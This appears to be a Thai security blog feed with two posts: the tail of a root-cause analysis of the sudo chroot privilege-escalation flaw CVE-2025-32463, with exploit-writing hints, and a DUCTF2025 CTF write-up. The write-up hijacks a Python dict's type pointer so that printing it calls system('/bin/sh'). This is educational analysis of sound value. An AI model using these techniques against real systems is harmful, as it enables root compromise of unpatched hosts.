<span class="hljs-comment">#6  nss_database_check_reload_and_get (local=&lt;optimized out&gt;, result=0x7ffe9a3ac6f0, database_index=nss_database_initgroups) at ./nss/nss_database.c:457</span>
<span class="hljs-comment">#7  0x000072c80becaddc in internal_getgrouplist (user=user@entry=0x5a9800010c08 "root", group=group@entry=0, size=size@entry=0x7ffe9a3ac748, groupsp=groupsp@entry=0x7ffe9a3ac750, limit=limit@entry=-1)</span>
    at ./nss/initgroups.c:75
</code></pre>
<p>ขั้นแรก เราต้องตรวจสอบให้ชัดก่อนว่าเครื่องกำลังใช้ glibc เวอร์ชันไหน</p>
<pre><code class="lang-c">bashCopyEdit
</code></pre>
<pre><code class="lang-bash">$ ldd --version
ldd (Ubuntu GLIBC 2.39-0ubuntu8.5) 2.39
Copyright (C) 2024 Free Software Foundation, Inc.
This is free software; see the <span class="hljs-built_in">source</span> <span class="hljs-keyword">for</span> copying conditions.  There is NO
warranty; not even <span class="hljs-keyword">for</span> MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.
</code></pre>
<p>ซึ่งถ้าใครใช้ version อื่นก็ไปอ่านของ version ที่ตัวเองใช้ได้เลย ส่วนถ้าใครใช้ version เดียวกันกับผม สามารถอ่าน code เต็ม ๆ ได้ที่ <a target="_blank" href="https://elixir.bootlin.com/glibc/glibc-2.39/source/nss/nss_database.c#L457">https://elixir.bootlin.com/glibc/glibc-2.39/source/nss/nss_database.c#L457</a></p>
<p>จาก Backtrace เราพบว่ามีการเรียกฟังก์ชัน nss_database_reload() นั่นหมายความว่าเราจะโฟกัสเฉพาะโค้ดก่อนถึงบรรทัดนี้ก็เพียงพอ เนื่องจากโค้ดค่อนข้างยาว ผมจะย่อยเป็นส่วน ๆ เพื่ออธิบายให้เข้าใจง่ายขึ้น</p>
<pre><code class="lang-c"><span class="hljs-function"><span class="hljs-keyword">static</span> <span class="hljs-keyword">bool</span>
<span class="hljs-title">nss_database_check_reload_and_get</span> <span class="hljs-params">(struct nss_database_state *local,
                                   nss_action_list *result,
                                   <span class="hljs-keyword">enum</span> nss_database database_index)</span>
</span>{
  <span class="hljs-comment">// ... Focus on code before reload ... </span>
  <span class="hljs-keyword">bool</span> ok = nss_database_reload (&amp;staging, &amp;initial);
  <span class="hljs-comment">// Skip</span>
</code></pre>
<p>ก่อนจะลงไปดูโค้ด แนะนำให้ใช้ gdb ตั้ง breakpoint ที่ฟังก์ชัน <code>nss_database_check_reload_and_get()</code> วิธีนี้จะช่วยให้เราเห็นค่าของตัวแปรต่าง ๆ ขณะรันจริง ทำให้เข้าใจ flow ได้ง่ายขึ้น และไม่ต้องมานั่งเดาเคสเอง</p>
<pre><code class="lang-c">(gdb) <span class="hljs-function">b <span class="hljs-title">nss_database_check_reload_and_get</span>

<span class="hljs-params">(gdb)</span> c
Continuing.
Breakpoint 2, <span class="hljs-title">nss_database_check_reload_and_get</span> <span class="hljs-params">(local=<span class="hljs-number">0x5723d2dd69b0</span>, result=<span class="hljs-number">0x7ffc544b5f30</span>, database_index=nss_database_initgroups)</span> at ./nss/nss_database.c:396

<span class="hljs-params">(gdb)</span> p *local
$3 </span>= {data = {nsswitch_conf = {size = <span class="hljs-number">494</span>, ino = <span class="hljs-number">1483121</span>, mtime = {tv_sec = <span class="hljs-number">1659454483</span>, tv_nsec = <span class="hljs-number">0</span>}, ctime = {tv_sec = <span class="hljs-number">1753689235</span>, tv_nsec = <span class="hljs-number">700200329</span>}}, services = {<span class="hljs-number">0x5723d2dd63b0</span>, <span class="hljs-number">0x5723d2dd7130</span>,
      <span class="hljs-number">0x5723d2dd63b0</span>, <span class="hljs-number">0x5723d2dd7180</span>, <span class="hljs-number">0x5723d2dd63b0</span>, <span class="hljs-number">0x5723d2dd6360</span>, <span class="hljs-number">0x0</span>, <span class="hljs-number">0x5723d2dd7180</span>, <span class="hljs-number">0x5723d2dd63b0</span>, <span class="hljs-number">0x5723d2dd63b0</span>, <span class="hljs-number">0x5723d2dd7180</span>, <span class="hljs-number">0x5723d2dd7130</span>, <span class="hljs-number">0x5723d2dd71c0</span>, <span class="hljs-number">0x5723d2dd7130</span>,
      <span class="hljs-number">0x5723d2dd7130</span>, <span class="hljs-number">0x5723d2dd63b0</span>, <span class="hljs-number">0x5723d2dd7180</span>}, reload_disabled = <span class="hljs-number">0</span>, initialized = <span class="hljs-literal">true</span>}, lock = <span class="hljs-number">0</span>, root_ino = <span class="hljs-number">4098686</span>, root_dev = <span class="hljs-number">53</span>}
</code></pre>
<p>เมื่อเข้าไปในฟังก์ชัน ขั้นแรกจะตรวจสอบค่าของตัวแปร <code>data.reload_disabled</code></p>
<ul>
<li><p>ถ้าเป็น <code>1</code> หมายความว่า <strong>ไม่ต้อง reload</strong> และจะดึงค่าจาก cache (<code>local-&gt;</code><a target="_blank" href="http://data.services"><code>data.services</code></a><code>[database_index]</code>) มาใช้ทันที</p>
</li>
<li><p>ในกรณีของเรา ค่านี้เป็น <code>0</code> จึงข้ามเงื่อนไขนี้ไปและทำงานต่อ</p>
</li>
</ul>
<pre><code class="lang-c">  <span class="hljs-class"><span class="hljs-keyword">struct</span> __<span class="hljs-title">stat64_t64</span> <span class="hljs-title">str</span>;</span>

  <span class="hljs-comment">/* Acquire MO is needed because the thread that sets reload_disabled
     may have loaded the configuration first, so synchronize with the
     Release MO store there.  */</span>
  <span class="hljs-keyword">if</span> (atomic_load_acquire (&amp;local-&gt;data.reload_disabled))
    {
      *result = local-&gt;data.services[database_index];
      <span class="hljs-comment">/* No reload, so there is no error.  */</span>
      <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;
    }
</code></pre>
<p>จาก [1] โค้ดจะตรวจสอบว่าไฟล์ <code>/etc/nsswitch.conf</code> มีการเปลี่ยนแปลงหรือไม่</p>
<ul>
<li><p>ถ้ามีการเปลี่ยนแปลง → โหลดค่าใหม่</p>
</li>
<li><p>ถ้าไม่มีการเปลี่ยนแปลง → ใช้ค่าจาก cache ([2]) ในเคสนี้ ไฟล์เป็นคนละไฟล์กันอยู่แล้ว ควรจะมีการเปลี่ยนแปลงแน่นอน ดังนั้นเราจะข้ามเงื่อนไข if นี้ไปเช่นกัน</p>
</li>
</ul>
<pre><code class="lang-c">
  <span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">file_change_detection</span> <span class="hljs-title">initial</span>;</span>
  <span class="hljs-keyword">if</span> (!__file_change_detection_for_path (&amp;initial, _PATH_NSSWITCH_CONF)) <span class="hljs-comment">// [1] </span>
    <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>;

  __libc_lock_lock (local-&gt;lock);
  <span class="hljs-keyword">if</span> (__file_is_unchanged (&amp;initial, &amp;local-&gt;data.nsswitch_conf)) <span class="hljs-comment">// [2]</span>
    {
      <span class="hljs-comment">/* Configuration is up-to-date.  Read it and return it to the
         caller.  */</span>
      *result = local-&gt;data.services[database_index];
      __libc_lock_unlock (local-&gt;lock);
      <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>;
    }
</code></pre>
<p>ทำการตรวจสอบว่า <code>local-&gt;data.services[database_index]</code> มีค่าเป็น NULL หรือเปล่า[3] (เอาไว้ตรวจสอบว่า service ที่ถูกเรียกมาผ่าน NSS นั้นมีใน cache หรือเปล่า)</p>
<p>ถ้ามีใน cache ก็จะทำการ check ว่า path ปัจจุบันนั้นถูก <code>chroot</code> มาป่าว [4] ถ้ามันถูก <code>chroot</code> มาแล้วก set flag <code>local-&gt;data.reload_disabled</code> เป็น <code>1</code> แล้ว set ค่าใน cache ไปผ่าน <code>result</code></p>
<p>หากผ่านทั้งหมดแล้วจะไปเรียก <code>nss_database_reload()</code> ต่อไป</p>
<pre><code class="lang-c">  <span class="hljs-keyword">int</span> stat_rv = __stat64_time64 (<span class="hljs-string">"/"</span>, &amp;str);

  <span class="hljs-keyword">if</span> (local-&gt;data.services[database_index] != <span class="hljs-literal">NULL</span>) <span class="hljs-comment">// [3] if cache is NULL =&gt; Skip</span>
    {
      <span class="hljs-comment">/* Before we reload, verify that "/" hasn't changed.  We assume that
        errors here are very unlikely, but the chance that we're entering
        a container is also very unlikely, so we err on the side of both
        very unlikely things not happening at the same time.  */</span>
      <span class="hljs-keyword">if</span> (stat_rv != <span class="hljs-number">0</span>
      || (local-&gt;root_ino != <span class="hljs-number">0</span>
          &amp;&amp; (str.st_ino != local-&gt;root_ino
          ||  str.st_dev != local-&gt;root_dev))) <span class="hljs-comment">// [4] chroot check</span>
    {
        <span class="hljs-comment">/* Change detected; disable reloading and return current state.  */</span>
        atomic_store_release (&amp;local-&gt;data.reload_disabled, <span class="hljs-number">1</span>);
        *result = local-&gt;data.services[database_index];
        __libc_lock_unlock (local-&gt;lock);
        <span class="hljs-keyword">return</span> <span class="hljs-literal">true</span>; 
      }
    }
  <span class="hljs-keyword">if</span> (stat_rv == <span class="hljs-number">0</span>)
    {
      local-&gt;root_ino = str.st_ino;
      local-&gt;root_dev = str.st_dev;
    }

  __libc_lock_unlock (local-&gt;lock);

  <span class="hljs-comment">/* Avoid overwriting the global configuration until we have loaded
     everything successfully.  Otherwise, if the file change
     information changes back to what is in the global configuration,
     the lookups would use the partially-written  configuration.  */</span>
  <span class="hljs-class"><span class="hljs-keyword">struct</span> <span class="hljs-title">nss_database_data</span> <span class="hljs-title">staging</span> = {</span> .initialized = <span class="hljs-literal">true</span>, };

  <span class="hljs-keyword">bool</span> ok = nss_database_reload (&amp;staging, &amp;initial);
</code></pre>
<p>ถ้าอ่านผ่าน ๆ แล้วก็ดูปกติดี มันก็มีการ check ว่าอยู่ใน container แล้วหนิ ทำไมมันยัง call อีก(วะ)</p>
<p>คำตอบมันอยู่ในตัวแปร <code>local-&gt;data.services</code> ซึ่งถ้าเราย้อนกลับไปดูตอนที่มัน define <a target="_blank" href="https://elixir.bootlin.com/glibc/glibc-2.39/source/nss/nss_database.h#L45">nss_database</a> จะเห็นว่า <code>local-&gt;data.services[nss_database_initgroups]</code> ของเรา<strong>มีค่าเป็น NULL!!!</strong> ทำให้มันทำการ skip if ที่ [3] ไป ทำให้ไม่ได้มีการ check <code>chroot</code> ใน if ที่ [4] และไปเรียก <code>nss_database_reload()</code> ที่ไปอ่าน <code>/etc/nsswitch.conf</code> แม้จะ chroot แล้วนั่นเอง</p>
<pre><code class="lang-c">services = {
    <span class="hljs-number">0x5723d2dd63b0</span>, <span class="hljs-comment">// DEFINE_DATABASE (aliases)</span>
    <span class="hljs-number">0x5723d2dd7130</span>, <span class="hljs-comment">// DEFINE_DATABASE (ethers)</span>
    <span class="hljs-number">0x5723d2dd63b0</span>, <span class="hljs-comment">// DEFINE_DATABASE (group)</span>
    <span class="hljs-number">0x5723d2dd7180</span>, <span class="hljs-comment">// DEFINE_DATABASE (group_compat)</span>
    <span class="hljs-number">0x5723d2dd63b0</span>, <span class="hljs-comment">// DEFINE_DATABASE (gshadow)</span>
    <span class="hljs-number">0x5723d2dd6360</span>, <span class="hljs-comment">// DEFINE_DATABASE (hosts)</span>
    <span class="hljs-number">0x0</span>,            <span class="hljs-comment">// DEFINE_DATABASE (initgroups) [5] local-&gt;data.services[database_index]</span>
    <span class="hljs-comment">// ... Snipped ...</span>
</code></pre>
<p>แค่นี้เราก็ได้คำตอบแล้วว่าทำไมมันถึงอ่าน configure ภายหลังจากการทำ chroot แล้ว!</p>
<h2 id="heading-exploit-development">Exploit Development</h2>
<p>เราจะไม่เล่าในวันนี้ครับเพราะ exploit เต็มเน็ตไปหมด ในส่วนของ advisory ของ <a target="_blank" href="https://www.stratascale.com/vulnerability-alert-CVE-2025-32463-sudo-chroot">Stratascale</a> ก็มี poc ทิ้งไว้ให้เหมือนกัน (จริง ๆ แล้วขี้เกียจหน่ะ lol)</p>
<p>แต่พอลองหวดดูแล้ว ผมว่ามีหลายจุดที่น่าจะทำให้งงเวลาตามดีบัก เผื่อใครจะไปลองนั่งเขียน exploit ผมคิดว่า Information พวกนี้น่าจะช่วยได้</p>
<ol>
<li><p>Share Object File (.so) ของเราไม่ได้ถูก load ผ่าน <code>__libc_dlopen_mode()</code> ทันทีหลังจากที่ reload nss แต่จะถูกอ่านภายหลังทำให้ path ที่ต้อง resolve libnss จะอยู่นอก <code>chroot</code> environment</p>
</li>
<li><p>การ load nss module จะเอา module name มาต่อกับ <code>libnss_%s.so%s</code> (ดู code <a target="_blank" href="https://elixir.bootlin.com/glibc/glibc-2.39/source/nss/nss_module.c#L170">เต็ม ๆ ตรงนี้</a>)</p>
<ol>
<li><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754816162891/1d3a97c5-4a94-4825-bdf1-7c7d21ae114d.png" alt class="image--center mx-auto" /></li>
</ol>
</li>
<li><p>การ load Share Object File(.so) ถ้าไม่มี <code>/</code> จะถูก lookup ผ่าน <code>LD_LIBRARY_PATH</code> แต่<strong>ถ้ามีจะมองว่าเป็น absolute หรือ relative path</strong> และจะ lookup ที่ current cwd ด้วย <a target="_blank" href="https://man7.org/linux/man-pages/man3/dlopen.3.html">RTFM</a></p>
</li>
</ol>
<p>3 ข้อนี้น่าจะตรงกับคำถามที่หลายคนสงสัย และช่วยให้เข้าใจว่าทำไม exploit ถึงเขียนแบบนี้ครับ</p>
<h2 id="heading-bonus-born-but-with-me">Bonus : Born But with Me</h2>
<p>อยาก note สิ่งที่ติดโง่กับตอน analyze และ debug ช่องโหว่นี้ไว้หน่อย จริง ๆ สิ่งนึงที่ไม่ได้มีคนเขียนถึงเท่าไรคือช่องโหว่จะได้บน Environment ที่ใช้ Glibc ตั้งแต่ version 2.36 เท่านั้น…</p>
<p>ช่องโหว่นี้ผมเสียเวลาไปเพราะตอนแรกผมลอง setup debug environment เป็น ubuntu 22.04 ซึ่งใช้ Glibc version 2.35 แต่ไปลอง ubuntu 24.04 (2.39) แม่ง exploit ได้ปกติเลย ผมเลยนั่งไล่ code ว่า 2.35 กับ 2.39 มันต่างกันตรงไหน โดยวิธีการ diff ผมทำแบบนี้ครับ</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1754817674575/5cd57e6b-64b9-42b6-b825-b77a28a480a4.png" alt class="image--center mx-auto" /></p>
<p>Diff Tools ❌</p>
<p>เปิดสอง browser แล้วไถหาดูว่ามันต่างกันตรงไหน ✅✅✅✅</p>
<p>แล้วประเด็นคือตอนแรกผมมั่นใจมากว่า 2 version นี้ code เหมือนกัน 555555555 (แต่จริง ๆ แล้วมันไม่เหมือนโว้ยยยย)</p>
<p>สิ่งนี้เรียกสังขารและอีโก้ใช่หรือไม่</p>
<p>สุดท้ายผมลอง backtrace เทียบกันสองเวอร์ชันถึงพบกว่า Glibc 2.35 มันติดที่ check chroot เลยมาลองนั่ง diff code ดูแบบคนปกติถึงพบว่ามันไม่มี <code>if (local-</code><a target="_blank" href="https://elixir.bootlin.com/glibc/glibc-2.39/C/ident/local"><code>&gt;</code></a><a target="_blank" href="http://data.services"><code>data.services</code></a><code>[</code><a target="_blank" href="https://elixir.bootlin.com/glibc/glibc-2.39/C/ident/services"><code>database</code></a><code>_index] != NULL)</code> ทำให้ reload ใน chroot environment ไม่ได้</p>
<h2 id="heading-4liv4lix4liu4lii4lia4lma4lie4lij4liy4liw4lme4lih4lmi4lij4li54lmj4lii4liw4lii4lia4lii4lix4lih4lme4lih">ตัดจบเพราะไม่รู้จะจบยังไง</h2>
<p>จาก diff code และ release notes จะเห็นได้ว่าทาง sudo เลือกที่จะยกเลิก feature chroot และลบออกไป เพราะถ้าปล่อย feature นี้ไว้ ต้องคอยระวังการ interact กับไฟล์ระหว่าง chroot ซึ่งถ้าเกี่ยวข้องกับ library ยิ่งซับซ้อนและจัดการยากมาก จริง ๆ ช่องโหว่นี้มีลักษณะคล้ายกับช่องโหว่ของ Docker (<a target="_blank" href="https://github.com/advisories/GHSA-v2cv-wwxq-qq97">CVE-2019-14271</a>) ที่ตอนนั้นแก้ด้วยการ <a target="_blank" href="https://github.com/moby/moby/pull/39612">Initialize NSS ทั้งหมดตั้งแต่แรก</a> เพื่อไม่ต้องไป resolve ภายใน container แนวทางนี้เองเคยมีการพูดคุยในฝั่ง glibc เช่นกัน แต่ <a target="_blank" href="https://sourceware.org/pipermail/libc-alpha/2021-February/122840.html">maintainer ไม่ได้เลือกใช้</a> เพราะอาจเกิด impact แก้ไขได้ยากกว่า</p>
<p>ส่วนตัวผมเห็นด้วยกับการเอา featureที่ไม่ได้เป็นที่นิยมและสร้างความยุ่งยากในการ maintain ออก เพราะถ้าวันนี้ไม่ได้แตกที่ Glibc วันหน้าอาจจะแตกที่ feature อื่นก็ได้</p>
<p>อ่านจนจบแล้วเพื่อน ๆ มีไอเดียในการแก้ไข Issue นี้ยังไงบ้างค้อฟ มาแชร์กันหน่อย</p>
<p>ปล. ไม่มีใครจำ syscall number ของ openat ได้หรอก โม้ไปงั้น อยากรู้ว่า syscall number ของที่ละ arch คืออะไร<a target="_blank" href="https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md">ดูได้ที่นี่เลยจร้า</a></p>
]]></content:encoded></item><item><title><![CDATA[[DUCTF2025] fakeobject]]></title><description><![CDATA[week นี้ไม่ค่อยว่างมีนัดไปนู่นนี่ ว่างเล่นข้อเดียว ถือว่าแปลกใหม่พอสมควร ไม่เคยทำ pwn บน python เลยจั้บ มาดูกันว่าถ้าเรา Arbitrary Write บน Python เราทำไรได้บ้าง
โจทย์ให้มาหนึ่งไฟล์ fakeobj.py สั้น ๆ ง่าย ๆ คือ write ได้ 72 bytes ทับที่ตัวแปร obj ที่...]]></description><link>https://pwn8.xyz/ductf2025-fakeobject</link><guid isPermaLink="true">https://pwn8.xyz/ductf2025-fakeobject</guid><category><![CDATA[ductf2025]]></category><category><![CDATA[CTF]]></category><category><![CDATA[CTF Writeup]]></category><category><![CDATA[Binary Exploitation]]></category><category><![CDATA[gdb]]></category><category><![CDATA[Python]]></category><category><![CDATA[pwntools]]></category><category><![CDATA[dict]]></category><dc:creator><![CDATA[pwn8]]></dc:creator><pubDate>Sun, 20 Jul 2025 11:55:09 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1753015628180/d53a38fc-56f1-408e-a06d-5d61a6a63979.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>week นี้ไม่ค่อยว่างมีนัดไปนู่นนี่ ว่างเล่นข้อเดียว ถือว่าแปลกใหม่พอสมควร ไม่เคยทำ pwn บน python เลยจั้บ มาดูกันว่าถ้าเรา Arbitrary Write บน Python เราทำไรได้บ้าง</p>
<p>โจทย์ให้มาหนึ่งไฟล์ <code>fakeobj.py</code> สั้น ๆ ง่าย ๆ คือ write ได้ 72 bytes ทับที่ตัวแปร obj ที่เป็น dict ใน Python</p>
<pre><code class="lang-python"><span class="hljs-comment">#!/usr/bin/env python3</span>

<span class="hljs-keyword">import</span> ctypes

obj = {}
print(<span class="hljs-string">f"addrof(obj) = <span class="hljs-subst">{hex(id(obj))}</span>"</span>)

libc = ctypes.CDLL(<span class="hljs-literal">None</span>)
system = ctypes.cast(libc.system, ctypes.c_void_p).value
print(<span class="hljs-string">f"system = <span class="hljs-subst">{hex(system <span class="hljs-keyword">or</span> <span class="hljs-number">0</span>)}</span>"</span>)

fakeobj_data = bytes.fromhex(input(<span class="hljs-string">"fakeobj: "</span>))
<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">72</span>):
    ctypes.cast(id(obj), ctypes.POINTER(ctypes.c_char))[i] = fakeobj_data[i]

print(obj)
</code></pre>
<p>เป้าหมายของเราคือ spawn shell อ่าน flag นั้นเอง แต่สิ่งนี้มันคืออารายยไม่เคยพบเคยเห็น ไม่เคย pwn บน python ค้อฟอ้าย</p>
<h3 id="heading-debug">เริ่ม Debug ก่อนเลย</h3>
<p>เอาโจทย์มาโมใหม่จะได้ debug ง่าย ๆ <code>fakedebug.py</code></p>
<pre><code class="lang-python"><span class="hljs-comment">#!/usr/bin/env python3</span>

<span class="hljs-keyword">import</span> ctypes

obj = {}
print(<span class="hljs-string">f"addrof(obj) = <span class="hljs-subst">{hex(id(obj))}</span>"</span>)

libc = ctypes.CDLL(<span class="hljs-literal">None</span>)
system = ctypes.cast(libc.system, ctypes.c_void_p).value
print(<span class="hljs-string">f"system = <span class="hljs-subst">{hex(system <span class="hljs-keyword">or</span> <span class="hljs-number">0</span>)}</span>"</span>)

input() <span class="hljs-comment"># caveman breakpoint</span>

<span class="hljs-comment"># fakeobj_data = bytes.fromhex(input("fakeobj: "))</span>
fakeobj_data = <span class="hljs-string">b""</span>
fakeobj_data += <span class="hljs-string">b"AAAAAAAA"</span>
fakeobj_data += <span class="hljs-string">b"BBBBBBBB"</span>
fakeobj_data += <span class="hljs-string">b"CCCCCCCC"</span>
fakeobj_data += <span class="hljs-string">b"DDDDDDDD"</span>
fakeobj_data += <span class="hljs-string">b"EEEEEEEE"</span>
fakeobj_data += <span class="hljs-string">b"FFFFFFFF"</span>
fakeobj_data += <span class="hljs-string">b"GGGGGGGG"</span>
fakeobj_data += <span class="hljs-string">b"HHHHHHHH"</span>
fakeobj_data += <span class="hljs-string">b"IIIIIIII"</span>


<span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> range(<span class="hljs-number">72</span>):
    ctypes.cast(id(obj), ctypes.POINTER(ctypes.c_char))[i] = fakeobj_data[i]

print(obj)
</code></pre>
<p>จากนั้นก็ attach gdb ของเราเข้าไป แล้ว debug เลยยยย</p>
<pre><code class="lang-bash">(pwn) ➜  gdb python3
gef&gt; r fakedebug.py
Starting program: /home/pwn/.virtualenvs/pwn/bin/python3 fakedebug.py
addrof(obj) = 0x7ffff77067c0
system = 0x7ffff7c58750
gef&gt; tele 0x7ffff77067c0
</code></pre>
<p>เหี้ยไรเนี่ย</p>
<p><img src="https://lh7-rt.googleusercontent.com/slidesz/AGV_vUeIt_OrK4e9VPY0CO1iZDD3iHixAGBzbPMWb_f_h87_5MBWRm1cHbSCkKIC7Bnc-vuy_O_-JkNAtcJBi0j6yV0xx-W68gu3q2aAgnTOZ3l_ohn1fWZlWvJrjdyNYyaI43dOJkrXZw=nw?key=U2UEWkcedv5s-e1xmlLQ7w" alt /></p>
<p>ก่อนจะไปหวดต่อเราลองมาดูกันก่อนว่าเรา Write ได้ 72 Bytes มันเริ่มจากตรงไหนถึงตรงไหนบ้าง</p>
<p><img src="https://lh7-rt.googleusercontent.com/slidesz/AGV_vUeHbEsclGdzLv5IVoUrKfJNM9OCOV6l4zIz1XjW9AV8M3Ed8YBjS2QCaRLnemXo4wAd4crIep7usVw8pLRInpHLU18cF_s1440G-WZ8w-DswKwNBedv8qKls5d9tiHEI3pgDGa4sQ=nw?key=U2UEWkcedv5s-e1xmlLQ7w" alt /></p>
<p>จะเห็นว่า Range ที่เราเขียนได้จะเริ่มตั้งแต่หัว Dict ไปถึง +0×48 Bytes</p>
<p>คำถามคือเราจะทำยังไงต่อเพื่อให้ Hijack Control Flow มาเพื่อไป Spawn Shell ให้ได้</p>
<p>ถ้าเราย้อนกลับไปดู <code>fakeobject.py</code> จะเห็นว่าโปรแกรมไม่ได้ทำอะไรเลยหลังเราเขียนทับ Dict เขียนนอกจาก <code>print(obj)</code> แต่ๆๆๆๆๆ ถ้าใครเคยเขียน python แล้วลอง <code>print(dict())</code> แล้วจะพบว่ามันจะทำการ print key และ value ออกมาให้เราหมดเลย แสดงว่ามันต้องมี function สักอย่างที่คอยจะการ parse ค่าต่าง ๆ ใน Dict ของเราออกมาเป็น String แล้วส่งให้ print ไปโชว์ Dick ของเรา</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753008076008/df2d35dd-03bc-4b08-aed4-d2ae9215b1b1.png" alt class="image--center mx-auto" /></p>
<p>ซึ่งใน Python เอง Datatype แทบจะทุก Type จะ inherit มาจาก Object ซึ่ง Dict เองก็เหมือนกัน แสดงว่า Dict ของเราควรจะเก็บ Function Pointer ของ <code>__str__</code> ไว้สักที่หนึ่ง ถ้าเราหาเจอแล้วเรา Replace เป็น <code>system</code> น่าจะ hijack control flow และ Spawn shell ได้เลย</p>
<h3 id="heading-4lmb4lil4lmj4lin4lih4lix4liz4lit4lii4li54lmi4lme4lir4liz4lil4lmi4liwpw">แล้วมันอยู่ไหนล่ะ?</h3>
<p>ถ้าเรากลับไปแกะตัว Implementation ของ Dict ใน cPython เราจะเห็น struct หน้าตาแบบนี้ อันนี้ทำให้เราพอจะ map กับ Memory ที่เรา <code>tele</code> ดูตอนแรกได้</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753006678244/64e4a2ca-db6e-4282-9fe9-df3d93430b50.png" alt class="image--center mx-auto" /></p>
<p>จาก struct ของ <code>PyDictObject</code> ข้างบนเราเอามา map กับตัว memory ของเราได้แบบนี้</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753007065953/9e191d6a-8084-4064-b78f-3130ec50996b.png" alt class="image--center mx-auto" /></p>
<p>อ้าว ไม่เห็นมี <code>__str__</code> เบยยย จริง ๆ เราเกือบจะเจอมันแล้วครับ มันไปแอบอยู่ที่ <code>PyTypeObject</code> ถ้าเรา trace code ไปดู struct <code>_typeobject</code> ก็จะเห็นเหมือนในรูปนี้ครับ ในที่นี้</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753007389762/7284c3aa-0600-482d-838d-2939522c3c59.png" alt class="image--center mx-auto" /></p>
<p>ซึ่งถ้าคิดย้อนกลับดูก็ make sense เพราะทุก Dict ก็ควรจะมี Default string handler function ที่เหมือนกัน จะเก็บใน Type Object ก็ไม่แปลก</p>
<p>ไหนลอง tele obj_type ดิ้</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753007579536/c49d5ebb-cac1-4be9-ad39-6646e2859e01.png" alt class="image--center mx-auto" /></p>
<p>อ้าว งี้จะรู้ได้ไงว่า offset ไหนคือ <code>__str__</code> หรือ <code>tp_str</code> ใน <code>_typeobject</code> หล่ะ จริง ๆ จากด้านบนเราพอจะมี Hint อยู่บ้าง เมื่อเราเอา Struct มาเทียบมัน Memory Layout ของ <code>obj_type</code> มีความเป็นไปได้ที่ <code>tp_target</code> จะอยู่ที่ offset+0×88</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753008379720/00447cc1-25d3-4b37-80f0-7a02773a2e75.png" alt class="image--center mx-auto" /></p>
<p>แต่เราไม่มี Arbitary Read/Write หนิ เราจะ Leak Address ของ <code>_typeobject</code> มาได้ยังไง หรือถ้า Address ของ <code>_typeobject</code> เป็น Fixed Address เราก็ไม่มี Arbitary Address Write มาทับที่ตรงนี้อยู่ดี</p>
<p>คำถามคือเราจำเป็นต้อง AAW จริง ๆ หรือเปล่าเพื่อ <strong><em>ทำให้ tp_str เป็น address ที่เราต้องการ</em></strong> เราย้อนกลับไปที่ PyDictObj ดีกว่า</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753016622077/ee2c0250-6d04-4cc3-85c3-61d46fb255ff.png" alt class="image--center mx-auto" /></p>
<p>ถ้าเราจะเรียก <code>tp_str</code> สามารถทำได้จาก <code>ob_type→tp_str()</code> งั้นถ้าเราเขียนที่ <code>tp_str</code> ไม่ได้ เราก็แก้ค่า <code>ob_type</code> แทนสิ!</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753016658829/5d5ab632-af2b-49fc-9c9f-4f7415737c36.png" alt class="image--center mx-auto" /></p>
<p>เราทำการแก้ pointer ของ ob_type ไปที่ Memory ที่เรา control แล้วก็ Align ให้ offset ที่ 0×88 เป็น function pointer ที่เราต้องการแค่นี้ก็ได้แล้ว</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753016816962/8806b6d0-0a59-4525-95ff-b135be1bc3d6.png" alt class="image--center mx-auto" /></p>
<p>จะทำให้ <code>ob_type→tp_str</code> align ชี้มาที่ <code>0xdeadbeef</code> ของเรา</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753017025127/3e208799-7ceb-4ce0-8c3c-30b4449ae054.png" alt class="image--center mx-auto" /></p>
<p>ไหนมาลองกันเลยแก้ <code>fakedebug.py</code> ของเราให้เป็นตาม Structure ด้านบน</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753010922487/5f124d2f-209f-425a-bbb9-693cffea31eb.png" alt class="image--center mx-auto" /></p>
<p>จะเห็นว่าเราสามารถ hijack control flow ได้แล้ว อีกทั้ง RDI ยังชี้ไปที่ <code>obj</code> ของเราอีก งี้ EZ เลย คุมได้หมด <code>system</code> ก็ไม่ต้อง leak พรี่แกให้มาหมด งั้นโม exploit ให้เป็นหน้าตาแบบนี้</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753016770910/c6df62ba-c383-4fa5-8d63-eedf78e8aa95.png" alt class="image--center mx-auto" /></p>
<p>ที่ <code>/bin/sh</code> ต้อง -2 เพราะเหมือนตอนที่เรารันไปตัว Obj เรามี ref เพิ่มขึ้นมาอีก 2 เลยลบไปเมื่อเอาไปรันมันจะ inc ขึ้นมาเองแล้วทำให้ payload กลายเป็น <code>/bin/sh\x00</code> เอง (Little Endian น่ะ ไม่งงหรอกเนอะ)</p>
<p>ตั้ง breakpoint ไว้ที่ <code>system</code> ก็พบว่าเราสามารถ spawn shell ได้แน้วววว</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1753011451296/f82979c5-1dc5-4fca-a26b-08d8cb003707.png" alt class="image--center mx-auto" /></p>
<p>ไม่รอช้าหวดที่ server เลยค้อฟ</p>
